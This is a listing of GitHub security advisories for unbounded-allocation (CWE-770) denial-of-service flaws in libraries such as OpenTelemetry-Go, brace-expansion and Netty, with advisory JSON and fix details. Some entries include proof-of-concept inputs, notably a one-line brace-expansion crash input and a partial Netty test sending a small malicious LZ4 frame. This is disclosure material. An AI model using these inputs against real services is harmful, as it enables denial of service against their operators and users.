CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3843 vulnerabilities reference this CWE, most recent first.
GHSA-MH2Q-Q3FH-2475
Vulnerability from github – Published: 2026-04-07 20:12 – Updated: 2026-04-24 20:04multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit.
severity
HIGH (availability / remote request amplification)
relevant links
- repository: https://github.com/open-telemetry/opentelemetry-go
- pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58
vulnerability details
pins: open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a as-of: 2026-02-04 policy: direct (no program scope provided)
callsite: propagation/baggage.go:58 (extractMultiBaggage)
attacker control: inbound HTTP request headers (many baggage field-values) → propagation.HeaderCarrier.Values("baggage") → repeated baggage.Parse + member aggregation
root cause
extractMultiBaggage iterates over all baggage header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).
impact
in a default net/http configuration (max header bytes 1mb), a single request with many baggage: header field-values can cause large per-request allocations and increased latency.
example from the attached PoC harness (darwin/arm64; 80 values; 40 requests):
- canonical:
per_req_alloc_bytes=10315458andp95_ms=7 - control:
per_req_alloc_bytes=133429andp95_ms=0
proof of concept
canonical:
mkdir -p poc
unzip poc.zip -d poc
cd poc
make test
output (excerpt):
[CALLSITE_HIT]: propagation/baggage.go:58 extractMultiBaggage
[PROOF_MARKER]: baggage_multi_value_amplification p95_ms=7 per_req_alloc_bytes=10315458 per_req_allocs=16165
control:
cd poc
make control
control output (excerpt):
[NC_MARKER]: baggage_single_value_baseline p95_ms=0 per_req_alloc_bytes=133429 per_req_allocs=480
expected: multiple baggage header field-values should be semantically equivalent to a single comma-joined baggage value and should not multiply parsing/alloc work within the effective header byte budget.
actual: multiple baggage header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.
fix recommendation
avoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).
fix accepted when: under the default PoC harness settings, canonical stays within 2x of control for per_req_alloc_bytes and per_req_allocs, and p95_ms stays below 2ms.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.40.0"
},
"package": {
"ecosystem": "Go",
"name": "go.opentelemetry.io/otel"
},
"ranges": [
{
"events": [
{
"introduced": "1.36.0"
},
{
"fixed": "1.41.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29181"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T20:12:57Z",
"nvd_published_at": "2026-04-07T21:17:16Z",
"severity": "HIGH"
},
"details": "multi-value `baggage:` header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many `baggage:` header lines, even when each individual value is within the 8192-byte per-value parse limit.\n\n## severity\n\nHIGH (availability / remote request amplification)\n\n## relevant links\n\n- repository: https://github.com/open-telemetry/opentelemetry-go\n- pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58\n\n## vulnerability details\n\n**pins:** open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a\n**as-of:** 2026-02-04\n**policy:** direct (no program scope provided)\n\n**callsite:** propagation/baggage.go:58 (`extractMultiBaggage`)\n**attacker control:** inbound HTTP request headers (many `baggage` field-values) \u2192 `propagation.HeaderCarrier.Values(\"baggage\")` \u2192 repeated `baggage.Parse` + member aggregation\n\n### root cause\n\n`extractMultiBaggage` iterates over all `baggage` header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).\n\n### impact\n\nin a default `net/http` configuration (max header bytes 1mb), a single request with many `baggage:` header field-values can cause large per-request allocations and increased latency.\n\nexample from the attached PoC harness (darwin/arm64; 80 values; 40 requests):\n\n- canonical: `per_req_alloc_bytes=10315458` and `p95_ms=7`\n- control: `per_req_alloc_bytes=133429` and `p95_ms=0`\n\n## proof of concept\n\ncanonical:\n\n```bash\nmkdir -p poc\nunzip poc.zip -d poc\ncd poc\nmake test\n```\n\noutput (excerpt):\n\n```\n[CALLSITE_HIT]: propagation/baggage.go:58 extractMultiBaggage\n[PROOF_MARKER]: baggage_multi_value_amplification p95_ms=7 per_req_alloc_bytes=10315458 per_req_allocs=16165\n```\n\ncontrol:\n\n```bash\ncd poc\nmake control\n```\n\ncontrol output (excerpt):\n\n```\n[NC_MARKER]: baggage_single_value_baseline p95_ms=0 per_req_alloc_bytes=133429 per_req_allocs=480\n```\n\n**expected:** multiple `baggage` header field-values should be semantically equivalent to a single comma-joined `baggage` value and should not multiply parsing/alloc work within the effective header byte budget.\n**actual:** multiple `baggage` header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.\n\n## fix recommendation\n\navoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).\n\n**fix accepted when:** under the default PoC harness settings, canonical stays within 2x of control for `per_req_alloc_bytes` and `per_req_allocs`, and `p95_ms` stays below 2ms.\n\n\n[poc.zip](https://github.com/user-attachments/files/25079945/poc.zip)\n[PR_DESCRIPTION.md](https://github.com/user-attachments/files/25079946/PR_DESCRIPTION.md)",
"id": "GHSA-mh2q-q3fh-2475",
"modified": "2026-04-24T20:04:24Z",
"published": "2026-04-07T20:12:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29181"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/pull/7880"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/commit/aa1894e09e3fe66860c7885cb40f98901b35277f"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-go"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-go/releases/tag/v1.41.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry-Go: multi-value `baggage` header extraction causes excessive allocations (remote dos amplification)"
}
GHSA-MH55-GQVF-XFWM
Vulnerability from github – Published: 2024-07-05 19:42 – Updated: 2025-08-06 22:10Middleware causes a prohibitive amount of heap allocations when processing malicious preflight requests that include a Access-Control-Request-Headers (ACRH) header whose value contains many commas. This behavior can be abused by attackers to produce undue load on the middleware/server as an attempt to cause a denial of service.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/rs/cors"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.0"
},
{
"fixed": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47908"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-05T19:42:48Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Middleware causes a prohibitive amount of heap allocations when processing malicious preflight requests that include a Access-Control-Request-Headers (ACRH) header whose value contains many commas. This behavior can be abused by attackers to produce undue load on the middleware/server as an attempt to cause a denial of service.",
"id": "GHSA-mh55-gqvf-xfwm",
"modified": "2025-08-06T22:10:52Z",
"published": "2024-07-05T19:42:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47908"
},
{
"type": "WEB",
"url": "https://github.com/rs/cors/issues/170"
},
{
"type": "WEB",
"url": "https://github.com/rs/cors/pull/171"
},
{
"type": "WEB",
"url": "https://github.com/rs/cors/commit/4c32059b2756926619f6bf70281b91be7b5dddb2"
},
{
"type": "PACKAGE",
"url": "https://github.com/rs/cors"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-2883"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Denial of service via malicious preflight requests in github.com/rs/cors"
}
GHSA-MH6H-F25P-98F8
Vulnerability from github – Published: 2021-08-25 20:44 – Updated: 2023-06-13 20:32Affected versions of this crate called Vec::reserve() on user-supplied input. This allows an attacker to cause an Out of Memory condition while calling the vulnerable method on untrusted data.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "protobuf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-15544"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-19T21:23:35Z",
"nvd_published_at": "2019-08-26T18:15:00Z",
"severity": "HIGH"
},
"details": "Affected versions of this crate called Vec::reserve() on user-supplied input. This allows an attacker to cause an Out of Memory condition while calling the vulnerable method on untrusted data.",
"id": "GHSA-mh6h-f25p-98f8",
"modified": "2023-06-13T20:32:32Z",
"published": "2021-08-25T20:44:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15544"
},
{
"type": "WEB",
"url": "https://github.com/stepancheg/rust-protobuf/issues/411"
},
{
"type": "PACKAGE",
"url": "https://github.com/stepancheg/rust-protobuf"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r00097d0b5b6164ea428554007121d5dc1f88ba2af7b9e977a10572cd@%3Cdev.hbase.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4ef574a5621b0e670a3ce641e9922543e34f22bf4c9ee9584aa67fcf@%3Cissues.hbase.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r7fed8dd9bee494094e7011cf3c2ab75bd8754ea314c6734688c42932@%3Ccommon-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd64381fb8f92d640c1975dc50dcdf1b8512e02a2a7b20292d3565cae@%3Cissues.hbase.apache.org%3E"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2019-0003.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled memory consumption in protobuf"
}
GHSA-MH86-QHJH-FVR5
Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-05-24 19:10In Contiki 3.0, a Telnet server that silently quits (before disconnection with clients) leads to connected clients entering an infinite loop and waiting forever, which may cause excessive CPU consumption.
{
"affected": [],
"aliases": [
"CVE-2021-38387"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-10T19:15:00Z",
"severity": "HIGH"
},
"details": "In Contiki 3.0, a Telnet server that silently quits (before disconnection with clients) leads to connected clients entering an infinite loop and waiting forever, which may cause excessive CPU consumption.",
"id": "GHSA-mh86-qhjh-fvr5",
"modified": "2022-05-24T19:10:31Z",
"published": "2022-05-24T19:10:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38387"
},
{
"type": "WEB",
"url": "https://github.com/contiki-os/contiki/issues/2688"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MH99-V99M-4GVG
Vulnerability from github – Published: 2026-07-24 21:53 – Updated: 2026-07-31 19:37Summary
expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.
A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.
Details
For N chained brace groups such as '{a,b}'.repeat(N):
- the result count is
2^N, immediately capped atmax(100_000), so themaxprotection appears to hold, but - each result is
Ncharacters long, so the total output size ismax × Ncharacters, which grows without bound inN.
expand_ combines each brace set with the fully-expanded tail:
const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
for (let k = 0; k < post.length && expansions.length < max; k++) {
const expansion = pre + N[j] + post[k] // grows one group longer per level
...
expansions.push(expansion)
}
}
The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.
Measured on 5.0.7 ('{a,b}'.repeat(N), default max):
| groups (N) | input bytes | result count | peak RSS |
|---|---|---|---|
| 20 | 100 | 100,000 | ~80 MB |
| 50 | 250 | 100,000 | ~214 MB |
| 100 | 500 | 100,000 | ~409 MB |
| 300 | 1,500 | 100,000 | ~1,148 MB |
| 1500 | 7,500 | — | OOM crash |
Proof of concept
const { expand } = require('brace-expansion')
// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
// FATAL ERROR: ... JavaScript heap out of memory
try {
expand('{a,b}'.repeat(1500))
} catch (e) {
// never reached — the process is already dead
}
Impact
Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.
Remediation
Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.
After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.
The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.
If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.0.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-14257"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:53:14Z",
"nvd_published_at": "2026-07-23T14:17:00Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`expand()` bounds the *number* of results it produces (the `max` option,\n`100_000` by default) but not their *length*. By chaining many brace groups,\nan attacker keeps the result count under `max` while making every result grow\nwith the number of groups. Building `max` long results \u2014 plus the intermediate\narrays combined at each brace group \u2014 exhausts memory and crashes the Node\nprocess with an **uncatchable** out-of-memory error. `try/catch` around\n`expand()` does not help: the fatal error terminates the process.\n\nA ~7.5 KB input (`\u0027{a,b}\u0027.repeat(1500)`) is enough to crash a default Node\nprocess.\n\n### Details\n\nFor `N` chained brace groups such as `\u0027{a,b}\u0027.repeat(N)`:\n\n- the result count is `2^N`, immediately capped at `max` (`100_000`), so the\n `max` protection appears to hold, but\n- each result is `N` characters long, so the total output size is\n `max \u00d7 N` characters, which grows without bound in `N`.\n\n`expand_` combines each brace set with the fully-expanded tail:\n\n```js\nconst post = m.post.length ? expand_(m.post, max, false) : [\u0027\u0027]\n...\nfor (let j = 0; j \u003c N.length; j++) {\n for (let k = 0; k \u003c post.length \u0026\u0026 expansions.length \u003c max; k++) {\n const expansion = pre + N[j] + post[k] // grows one group longer per level\n ...\n expansions.push(expansion)\n }\n}\n```\n\nThe loop guard `expansions.length \u003c max` limits how many strings are built, but\nnothing limits how long they get. Each recursion level materializes another\narray of up to `max` strings, one character longer than the level below, and \u2014\nbecause V8 represents `pre + N[j] + post[k]` as a cons-string (rope) that\nreferences `post[k]` \u2014 those intermediate strings stay reachable through the\nwhole chain. Memory therefore scales with `max \u00d7 N`.\n\nMeasured on `5.0.7` (`\u0027{a,b}\u0027.repeat(N)`, default `max`):\n\n| groups (N) | input bytes | result count | peak RSS |\n|---|---|---|---|\n| 20 | 100 | 100,000 | ~80 MB |\n| 50 | 250 | 100,000 | ~214 MB |\n| 100 | 500 | 100,000 | ~409 MB |\n| 300 | 1,500 | 100,000 | ~1,148 MB |\n| 1500 | 7,500 | \u2014 | **OOM crash** |\n\n### Proof of concept\n\n```js\nconst { expand } = require(\u0027brace-expansion\u0027)\n\n// ~7.5 KB input \u2014 crashes the process with a fatal, uncatchable OOM:\n// FATAL ERROR: ... JavaScript heap out of memory\ntry {\n expand(\u0027{a,b}\u0027.repeat(1500))\n} catch (e) {\n // never reached \u2014 the process is already dead\n}\n```\n\n### Impact\n\nAny application that passes attacker-influenced strings to\n`brace-expansion.expand()` \u2014 directly, or transitively via `minimatch` / `glob`\nbrace patterns \u2014 can be crashed by a small request. Because the failure is a\nfatal V8 out-of-memory error rather than a thrown exception, it cannot be caught\nand it takes down the whole worker/process, denying service.\n\n### Remediation\n\nUpgrade to a patched release. The fix bounds the total number of characters a\nsingle `expand()` call may accumulate (`EXPANSION_MAX_LENGTH`, default\n`4_000_000`, configurable via a new `maxLength` option), applied inside the\noutput-building loops so intermediate arrays are bounded too. Once the limit is\nreached, output is truncated \u2014 consistent with how `max` already truncates \u2014\ninstead of growing without bound. The limit sits well above any realistic\nexpansion (100,000 results hitting `max` measure ~1M characters), so legitimate\ninput is unaffected.\n\nAfter the fix, `\u0027{a,b}\u0027.repeat(1500)` returns a bounded, truncated result in\n~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB\nheap.\n\nThe fix bounds memory but the algorithm still rebuilds intermediate arrays at\neach level (roughly `O(N \u00d7 maxLength)` work on this input class). A streaming\nrewrite that produces output in `O(total output size)` can be a non-urgent\nfollow-up.\n\nIf immediate upgrade isn\u0027t possible, avoid passing untrusted input to\n`expand()` / glob brace patterns, or pass a small explicit `max` **and**\n`maxLength`.",
"id": "GHSA-mh99-v99m-4gvg",
"modified": "2026-07-31T19:37:56Z",
"published": "2026-07-24T21:53:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-mh99-v99m-4gvg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14257"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/129"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/130"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/136"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/d13ff455a58b0d56704f0111e3c2a0b16ceb06eb"
},
{
"type": "PACKAGE",
"url": "https://github.com/juliangruber/brace-expansion"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/brace-expansion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "brace-expansion: DoS via unbounded expansion length causing an out-of-memory process crash"
}
GHSA-MHFP-J5XF-FVVR
Vulnerability from github – Published: 2022-06-28 00:00 – Updated: 2022-07-08 00:00In Bento4 1.6.0-638, there is an allocator is out of memory in the function AP4_Array::EnsureCapacity in Ap4Array.h:172, as demonstrated by GPAC. This can cause a denial of service (DOS).
{
"affected": [],
"aliases": [
"CVE-2021-40941"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-27T18:15:00Z",
"severity": "HIGH"
},
"details": "In Bento4 1.6.0-638, there is an allocator is out of memory in the function AP4_Array\u003cAP4_TrunAtom::Entry\u003e::EnsureCapacity in Ap4Array.h:172, as demonstrated by GPAC. This can cause a denial of service (DOS).",
"id": "GHSA-mhfp-j5xf-fvvr",
"modified": "2022-07-08T00:00:48Z",
"published": "2022-06-28T00:00:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40941"
},
{
"type": "WEB",
"url": "https://github.com/axiomatic-systems/Bento4/issues/644"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJ24-GPW7-23M9
Vulnerability from github – Published: 2023-10-10 18:28 – Updated: 2023-10-13 20:28Impact
ReportPortal database becomes unstable and reporting almost fully stops except for small launches with approximately 1 test inside when the test_item.path field is exceeded the allowable "ltree" field type indexing limit (path length>=120 approximately, recursive nesting of the nested steps).
REINDEX INDEX path_gist_idx and path_idx aren't helped.
Patches
The problem was fixed in service-api module of version 5.10.0 (product release 23.2), where the maximum number of nested elements were programmatically limited.
Workarounds
After deletion of the data with long paths, and reindexing both indexes (path_gist_idx and path_idx), the database becomes stable and ReportPortal is working properly.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.epam.reportportal:service-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-25822"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-10T18:28:11Z",
"nvd_published_at": "2023-10-09T14:15:10Z",
"severity": "MODERATE"
},
"details": "### Impact\nReportPortal database becomes unstable and reporting almost fully stops except for small launches with approximately 1 test inside when the test_item.path field is exceeded the allowable \"ltree\" field type indexing limit (path length\u003e=120 approximately, recursive nesting of the nested steps). \n\nREINDEX INDEX path_gist_idx and path_idx aren\u0027t helped. \n\n### Patches\nThe problem was fixed in `service-api` module of version `5.10.0` (product release [23.2](https://reportportal.io/docs/releases/Version23.2/)), where the maximum number of nested elements were programmatically limited.\n\n### Workarounds\nAfter deletion of the data with long paths, and reindexing both indexes (path_gist_idx and path_idx), the database becomes stable and ReportPortal is working properly.",
"id": "GHSA-mj24-gpw7-23m9",
"modified": "2023-10-13T20:28:09Z",
"published": "2023-10-10T18:28:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/reportportal/reportportal/security/advisories/GHSA-mj24-gpw7-23m9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25822"
},
{
"type": "PACKAGE",
"url": "https://github.com/reportportal/reportportal"
},
{
"type": "WEB",
"url": "https://github.com/reportportal/reportportal/releases/tag/v23.2"
},
{
"type": "WEB",
"url": "https://reportportal.io/docs/releases/Version23.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service vulnerability on creating a Launch with too many recursively nested elements in reportportal"
}
GHSA-MJ35-5954-95CC
Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-11-03 21:32Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Components Services). Supported versions that are affected are 8.0.40 and prior, 8.4.3 and prior and 9.1.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-21505"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T21:15:15Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Components Services). Supported versions that are affected are 8.0.40 and prior, 8.4.3 and prior and 9.1.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-mj35-5954-95cc",
"modified": "2025-11-03T21:32:18Z",
"published": "2025-01-21T21:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21505"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250131-0004"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJ37-5XVH-X2WM
Vulnerability from github – Published: 2022-07-02 00:00 – Updated: 2022-07-13 00:01TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the desc parameter in the function FUN_00413be4.
{
"affected": [],
"aliases": [
"CVE-2022-32045"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-01T18:15:00Z",
"severity": "HIGH"
},
"details": "TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the desc parameter in the function FUN_00413be4.",
"id": "GHSA-mj37-5xvh-x2wm",
"modified": "2022-07-13T00:01:52Z",
"published": "2022-07-02T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32045"
},
{
"type": "WEB",
"url": "https://github.com/d1tto/IoT-vuln/tree/main/Totolink/T6-v2/4.setWiFiScheduleCfg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJ4R-2HFC-F8P6
Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
